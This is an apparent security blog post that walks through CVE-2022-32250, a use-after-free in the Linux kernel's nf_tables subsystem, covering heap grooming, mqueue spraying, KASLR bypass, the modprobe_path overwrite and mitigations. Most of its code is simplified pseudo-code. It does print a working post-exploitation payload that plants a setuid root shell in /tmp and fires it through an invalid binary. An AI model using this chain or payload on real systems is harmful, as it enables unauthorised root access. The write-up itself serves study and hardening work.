CVE-2022-32250

Contents

In my previous kernel exploitation notes, I mostly focused on vulnerabilities that expose powerful primitives such as arbitrary read or write.

CVE-2022-32250 is different.

At first glance, it looks like a classic use-after-free in the Linux kernel netfilter subsystem. But the interesting part is not the bug itself — it is how limited the primitive initially appears. There is no immediate arbitrary write, no obvious control flow hijack, and no direct path to code execution.

Instead, the vulnerability provides a constrained primitive:

A dangling reference in the nf_tables subsystem that can be reused to perform controlled operations on freed kernel objects.

This bug originates from an incorrect handling of stateful expressions inside nftables, where objects are freed but still referenced in internal bindings. :contentReference[oaicite:4]{index=4}

At a high level, this creates a use-after-free condition that can be turned into a privilege escalation primitive.

The goal of this post is not to focus on exploitation tricks, but to understand how a seemingly limited UAF can be turned into a reliable kernel exploitation path.

This post is a continuation of that learning path — moving from direct primitives to more constrained bugs that require building exploitation step by step.

TL;DR

CVE-2022-32250 is a Linux kernel use-after-free vulnerability in the nftables subsystem.

At a high level, the exploit chain is:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
nftables rule creation
stateful expression allocation
incorrect cleanup / object freed
dangling reference remains
heap spraying / object reuse
kernel pointer leak
KASLR bypass
modprobe_path overwrite
privilege escalation
Diagram Code
flowchart LR
    A["User creates nft rule"]
        --> B["Stateful expression"]
        --> C["Incorrect free"]
        --> D["Dangling pointer"]
        --> E["Heap reuse"]
        --> F["Controlled object"]
        --> G["LPE"]
flowchart LR
    A["User creates nft rule"]
        --> B["Stateful expression"]
        --> C["Incorrect free"]
        --> D["Dangling pointer"]
        --> E["Heap reuse"]
        --> F["Controlled object"]
        --> G["LPE"]
flowchart LR
    A["User creates nft rule"]
        --> B["Stateful expression"]
        --> C["Incorrect free"]
        --> D["Dangling pointer"]
        --> E["Heap reuse"]
        --> F["Controlled object"]
        --> G["LPE"]
1
2
3
4
5
6
7
8
flowchart LR
    A["User creates nft rule"]
        --> B["Stateful expression"]
        --> C["Incorrect free"]
        --> D["Dangling pointer"]
        --> E["Heap reuse"]
        --> F["Controlled object"]
        --> G["LPE"]

About

Instead of jumping directly into writing a full exploit from scratch, I wanted to take a real-world vulnerability and break it down step by step.

The goal is not to explain every kernel structure in detail, but to understand the exploitation flow behind CVE-2022-32250, a Use-After-Free vulnerability in the Linux kernel Netfilter subsystem.

Note

My objective here is to rewrite the logic in my own words and connect it with the basics already covered on this blog.

Why This Vulnerability?

CVE-2022-32250 stood out because it brings several exploitation concepts together:

  • Use-After-Free
  • kernel heap manipulation
  • object reuse
  • information leaks
  • KASLR bypass
  • privilege escalation through modprobe_path

It is a good case study because it shows how small primitives can be chained into something useful.

Quick Recap: Use-After-Free

A Use-After-Free happens when memory is freed, but still used through a dangling pointer.

1
2
3
4
5
6
7
8
9
struct object *obj = kmalloc(sizeof(*obj), GFP_KERNEL);

kfree(obj);

/*
 * Bug:
 * obj still points to the old memory region.
 */
obj->callback();

In userland, this is already dangerous.
In the kernel, it is worse because freed memory may later contain privileged objects, function pointers, credentials, or network structures.

The simplified idea is:

StepActionResult
1Kernel allocates an objectValid memory region
2Kernel frees the objectMemory becomes available
3Pointer still existsDangling reference
4Attacker sprays objectsHeap is influenced
5Freed memory is reusedAttacker data may land there
6Kernel uses pointerControlled behavior may happen

Where the Bug Lives

CVE-2022-32250 affects Netfilter, the Linux kernel framework used for packet filtering, NAT, and firewalling.

Tools like iptables and nftables interact with this subsystem from userland.
If the kernel mishandles controlled input coming from nftables, it can lead to memory corruption.

Diagram Code
flowchart TD
    A[nft / nftables]
    B[Exploit Process]

    C[nf_tables]
    D[Netfilter Core]
    E[Kernel Heap]

    A -->|Netlink messages| C
    B -->|Controlled input| C

    C --> D
    D --> E
flowchart TD
    A[nft / nftables]
    B[Exploit Process]

    C[nf_tables]
    D[Netfilter Core]
    E[Kernel Heap]

    A -->|Netlink messages| C
    B -->|Controlled input| C

    C --> D
    D --> E
flowchart TD
    A[nft / nftables]
    B[Exploit Process]

    C[nf_tables]
    D[Netfilter Core]
    E[Kernel Heap]

    A -->|Netlink messages| C
    B -->|Controlled input| C

    C --> D
    D --> E
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
flowchart TD
    A[nft / nftables]
    B[Exploit Process]

    C[nf_tables]
    D[Netfilter Core]
    E[Kernel Heap]

    A -->|Netlink messages| C
    B -->|Controlled input| C

    C --> D
    D --> E

nftables Model

At a high level, nftables is organized as:

Diagram Code
flowchart LR
    A[Table] --> B[Chain] --> C[Rule] --> D[Expression] --> E[Kernel Heap]
flowchart LR
    A[Table] --> B[Chain] --> C[Rule] --> D[Expression] --> E[Kernel Heap]
flowchart LR
    A[Table] --> B[Chain] --> C[Rule] --> D[Expression] --> E[Kernel Heap]
1
2
flowchart LR
    A[Table] --> B[Chain] --> C[Rule] --> D[Expression] --> E[Kernel Heap]

Expressions are the interesting part here.

They are small kernel objects created, validated, and freed through user-controlled nftables operations.
A bug in their lifecycle can become a heap corruption issue.

Vulnerability Summary

CVE-2022-32250 is a Use-After-Free vulnerability in the Linux kernel nf_tables subsystem.

ItemDescription
VulnerabilityUse-After-Free
Componentnf_tables / Netfilter
TriggerCrafted nftables operations
ImpactLocal privilege escalation
GoalTurn memory corruption into useful primitives

Simplified exploitation path:

1
2
3
4
5
6
7
8
Local attacker
  → Trigger bug through nftables
  → Create Use-After-Free in kernel heap
  → Reuse freed memory
  → Leak kernel addresses
  → Bypass KASLR
  → Overwrite sensitive kernel data
  → Privilege escalation

This is not a remote exploit.
It requires local access and depends on system configuration, especially namespace and nftables access.

Root Cause — Simplified

The vulnerability comes from incorrect handling of expression objects inside nf_tables.

In the vulnerable path, an expression object is allocated.
If validation fails, the object may be freed while part of the internal state still references it.

In practice, the bug involves incorrect lifecycle handling of nftables expressions, where partially initialized or failed expressions are freed while still being referenced in internal lists.

That leaves a dangling pointer.

Diagram Code
flowchart LR
    A["Expression allocated"] 
        --> B["Validation error"]
        --> C["Object freed"]
        --> D["Reference remains"]
        --> E["Freed memory used again"]
flowchart LR
    A["Expression allocated"] 
        --> B["Validation error"]
        --> C["Object freed"]
        --> D["Reference remains"]
        --> E["Freed memory used again"]
flowchart LR
    A["Expression allocated"] 
        --> B["Validation error"]
        --> C["Object freed"]
        --> D["Reference remains"]
        --> E["Freed memory used again"]
1
2
3
4
5
6
flowchart LR
    A["Expression allocated"] 
        --> B["Validation error"]
        --> C["Object freed"]
        --> D["Reference remains"]
        --> E["Freed memory used again"]

Simplified pseudo-code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
expr = kzalloc(expr_size, GFP_KERNEL);

if (validation_fails) {
    kfree(expr);
    return error;
}

/*
 * In the vulnerable scenario,
 * another structure may still reference expr.
 */

Tip

The bug is not only that memory is freed.
The problem is that something still points to it afterwards.

Exploitation Chain Overview

The exploit chain can be split into logical stages:

Diagram Code
flowchart LR
    A["Prepare heap"]
        --> B["Trigger UAF"]
        --> C["Reclaim memory"]
        --> D["Leak addresses"]
        --> E["Bypass KASLR"]
        --> F["Overwrite target"]
        --> G["Privilege escalation"]
flowchart LR
    A["Prepare heap"]
        --> B["Trigger UAF"]
        --> C["Reclaim memory"]
        --> D["Leak addresses"]
        --> E["Bypass KASLR"]
        --> F["Overwrite target"]
        --> G["Privilege escalation"]
flowchart LR
    A["Prepare heap"]
        --> B["Trigger UAF"]
        --> C["Reclaim memory"]
        --> D["Leak addresses"]
        --> E["Bypass KASLR"]
        --> F["Overwrite target"]
        --> G["Privilege escalation"]
1
2
3
4
5
6
7
8
flowchart LR
    A["Prepare heap"]
        --> B["Trigger UAF"]
        --> C["Reclaim memory"]
        --> D["Leak addresses"]
        --> E["Bypass KASLR"]
        --> F["Overwrite target"]
        --> G["Privilege escalation"]

The vulnerability only gives an opportunity.
The exploit still has to turn it into reliable primitives.

Stage 1 — Heap Grooming

Heap grooming makes kernel allocations more predictable.

Without it, the freed object may be reused by unrelated kernel data.

Diagram Code
flowchart LR
    A["Heap layout"] 
        --> B["Free target"]
        --> C["Spray objects"]
        --> D["Reclaim freed chunk"]
flowchart LR
    A["Heap layout"] 
        --> B["Free target"]
        --> C["Spray objects"]
        --> D["Reclaim freed chunk"]
flowchart LR
    A["Heap layout"] 
        --> B["Free target"]
        --> C["Spray objects"]
        --> D["Reclaim freed chunk"]
1
2
3
4
5
flowchart LR
    A["Heap layout"] 
        --> B["Free target"]
        --> C["Spray objects"]
        --> D["Reclaim freed chunk"]

The goal is to make the freed memory land where the exploit wants it.

Stage 2 — Triggering the UAF

Triggering the bug is not enough.

A crash proves the bug exists.
A controlled state makes it exploitable.

Diagram Code
flowchart LR
    A["Trigger bug"] --> B{"Outcome"}

    B -->|Uncontrolled| C["Kernel panic"]
    B -->|Controlled| D["Freed object still reachable"]
    D --> E["Memory can be reused"]
flowchart LR
    A["Trigger bug"] --> B{"Outcome"}

    B -->|Uncontrolled| C["Kernel panic"]
    B -->|Controlled| D["Freed object still reachable"]
    D --> E["Memory can be reused"]
flowchart LR
    A["Trigger bug"] --> B{"Outcome"}

    B -->|Uncontrolled| C["Kernel panic"]
    B -->|Controlled| D["Freed object still reachable"]
    D --> E["Memory can be reused"]
1
2
3
4
5
6
flowchart LR
    A["Trigger bug"] --> B{"Outcome"}

    B -->|Uncontrolled| C["Kernel panic"]
    B -->|Controlled| D["Freed object still reachable"]
    D --> E["Memory can be reused"]

The final exploit needs stability, not just a crash.

Stage 3 — Reclaiming the Freed Object

At this stage, the vulnerability provides a classic UAF primitive:

1
dangling pointer → controlled object reuse → potential read/write primitive

Once the object is freed, the next step is to place a useful object in the same memory region.

A simplified spray looks like this:

1
2
3
for (int i = 0; i < SPRAY_COUNT; i++) {
    spray_controlled_object();
}

A good replacement object should:

  • have a predictable size
  • be allocated in the same kernel cache
  • contain controllable data
  • help build a read or write primitive

The exploit discussed by Theori uses POSIX message queues (mqueue) as part of this strategy.

Why mqueue?

mqueue is useful because message queue objects can create kernel allocations with attacker-controlled content.

From userland, the API looks simple:

1
2
3
4
mq_open();
mq_send();
mq_receive();
mq_close();

Example skeleton:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#include <mqueue.h>
#include <fcntl.h>
#include <sys/stat.h>

struct mq_attr attr = {
    .mq_flags = 0,
    .mq_maxmsg = 10,
    .mq_msgsize = 0x100,
    .mq_curmsgs = 0,
};

mqd_t mq = mq_open("/pullsec_mq", O_CREAT | O_RDWR, 0644, &attr);

The important part is not the API itself.
The value is how the kernel allocates and manages the related objects internally.

Stage 4 — Leaking Addresses

Modern kernel exploitation usually needs leaks.

Without a leak, addresses are unpredictable because of KASLR.

Diagram Code
flowchart LR
    A["Without KASLR
Fixed kernel base"] --> B["Target = base + known offset"] C["With KASLR
Randomized base"] --> D["Target unknown"]
flowchart LR
    A["Without KASLR
Fixed kernel base"] --> B["Target = base + known offset"] C["With KASLR
Randomized base"] --> D["Target unknown"]
flowchart LR
    A["Without KASLR
Fixed kernel base"] --> B["Target = base + known offset"] C["With KASLR
Randomized base"] --> D["Target unknown"]
1
2
3
4
5
6
flowchart LR
    A["Without KASLR<br/>Fixed kernel base"]
        --> B["Target = base + known offset"]

    C["With KASLR<br/>Randomized base"]
        --> D["Target unknown"]

A typical pattern is:

Diagram Code
flowchart LR
    A["Leaked pointer"]
        --> B["Subtract known offset"]
        --> C["Recover kernel base"]
        --> D["Calculate target address"]
flowchart LR
    A["Leaked pointer"]
        --> B["Subtract known offset"]
        --> C["Recover kernel base"]
        --> D["Calculate target address"]
flowchart LR
    A["Leaked pointer"]
        --> B["Subtract known offset"]
        --> C["Recover kernel base"]
        --> D["Calculate target address"]
1
2
3
4
5
flowchart LR
    A["Leaked pointer"]
        --> B["Subtract known offset"]
        --> C["Recover kernel base"]
        --> D["Calculate target address"]

At this point, exploitation becomes less about guessing and more about calculation.

Stage 5 — KASLR Bypass

KASLR randomizes the kernel base address at boot.

Diagram Code
flowchart LR
    A["Boot 1
base = 0xffffffff81000000"] B["Boot 2
base = 0xffffffff92800000"] C["Boot 3
base = 0xffffffff88400000"]
flowchart LR
    A["Boot 1
base = 0xffffffff81000000"] B["Boot 2
base = 0xffffffff92800000"] C["Boot 3
base = 0xffffffff88400000"]
flowchart LR
    A["Boot 1
base = 0xffffffff81000000"] B["Boot 2
base = 0xffffffff92800000"] C["Boot 3
base = 0xffffffff88400000"]
1
2
3
4
flowchart LR
    A["Boot 1<br/>base = 0xffffffff81000000"]
    B["Boot 2<br/>base = 0xffffffff92800000"]
    C["Boot 3<br/>base = 0xffffffff88400000"]

If the exploit wants to overwrite a global kernel variable, it must recover where that variable lives in the current boot.

That is why leaking a kernel pointer is such an important step.

Stage 6 — modprobe_path

One classic Linux kernel exploitation target is modprobe_path.

Default value:

1
/sbin/modprobe

If an exploit can overwrite it with an attacker-controlled path, the kernel may execute a user-controlled script as root.

Diagram Code
flowchart LR
    A["Overwrite modprobe_path
→ /tmp/pullsec"] --> B["Trigger unknown binary"] --> C["Kernel invokes modprobe"] --> D["Execute attacker script as root"]
flowchart LR
    A["Overwrite modprobe_path
→ /tmp/pullsec"] --> B["Trigger unknown binary"] --> C["Kernel invokes modprobe"] --> D["Execute attacker script as root"]
flowchart LR
    A["Overwrite modprobe_path
→ /tmp/pullsec"] --> B["Trigger unknown binary"] --> C["Kernel invokes modprobe"] --> D["Execute attacker script as root"]
1
2
3
4
5
flowchart LR
    A["Overwrite modprobe_path<br/>→ /tmp/pullsec"]
        --> B["Trigger unknown binary"]
        --> C["Kernel invokes modprobe"]
        --> D["Execute attacker script as root"]

Example payload:

1
2
3
4
5
6
7
cat > /tmp/pullsec << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF

chmod +x /tmp/pullsec

Trigger with an invalid binary:

1
2
3
printf '\xff\xff\xff\xff' > /tmp/trigger
chmod +x /tmp/trigger
/tmp/trigger

If the overwrite worked:

1
2
/tmp/rootbash -p
id

Expected result:

1
uid=1000(user) gid=1000(user) euid=0(root)

Practical Lab Notes

For this kind of topic, I prefer working in a disposable virtual machine.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Host:
- Linux workstation
- QEMU/KVM or VirtualBox
- Snapshot support enabled

Guest:
- vulnerable Linux kernel
- debug symbols if possible
- SSH access
- no important data
1
2
3
4
sudo apt update
sudo apt install -y build-essential git gdb make gcc \
    libmnl-dev libnftnl-dev strace ltrace \
    linux-tools-common linux-tools-generic
1
2
3
4
5
6
7
8
9
uname -a
cat /proc/version
cat /proc/sys/kernel/kptr_restrict
cat /proc/sys/kernel/dmesg_restrict
cat /proc/sys/kernel/unprivileged_userns_clone

which nft
nft --version
lsmod | grep nf_tables
1
2
3
4
5
1. Take snapshot
2. Run PoC
3. Save logs
4. Revert snapshot
5. Repeat

Useful commands:

1
2
dmesg -w
strace -f ./exploit

Mitigations

Mitigation is mostly about reducing the attack surface and limiting the impact of kernel memory corruption.

CategoryMitigation
PatchingKeep the kernel up to date
IsolationDisable unprivileged user namespaces when possible
Access controlRestrict nftables usage
HardeningEnable AppArmor / SELinux
MonitoringWatch for unexpected privilege escalation behavior

Example hardening checks:

1
2
3
sysctl kernel.unprivileged_userns_clone
sysctl kernel.kptr_restrict
sysctl kernel.dmesg_restrict

Example hardening values:

1
2
3
sudo sysctl -w kernel.kptr_restrict=2
sudo sysctl -w kernel.dmesg_restrict=1
sudo sysctl -w kernel.unprivileged_userns_clone=0

Be careful with kernel.unprivileged_userns_clone=0: it can break applications relying on user namespaces, such as containers or sandboxed applications.

Conclusion

This post is a transition point in my kernel exploitation notes.

The goal was not to claim full mastery of CVE-2022-32250, but to understand how the pieces fit together:

  • Netfilter object lifetime
  • Use-After-Free
  • heap grooming
  • mqueue-based allocations
  • kernel leaks
  • KASLR bypass
  • modprobe_path overwrite

The important lesson is that modern kernel exploitation is mostly about reliability and chaining.

The vulnerability is only the entry point.
The real challenge is controlling the environment around it.

And yes… it took longer than expected.

But that’s probably the most valuable part of the process.

Buy me a coffee~
PullSec kofikofi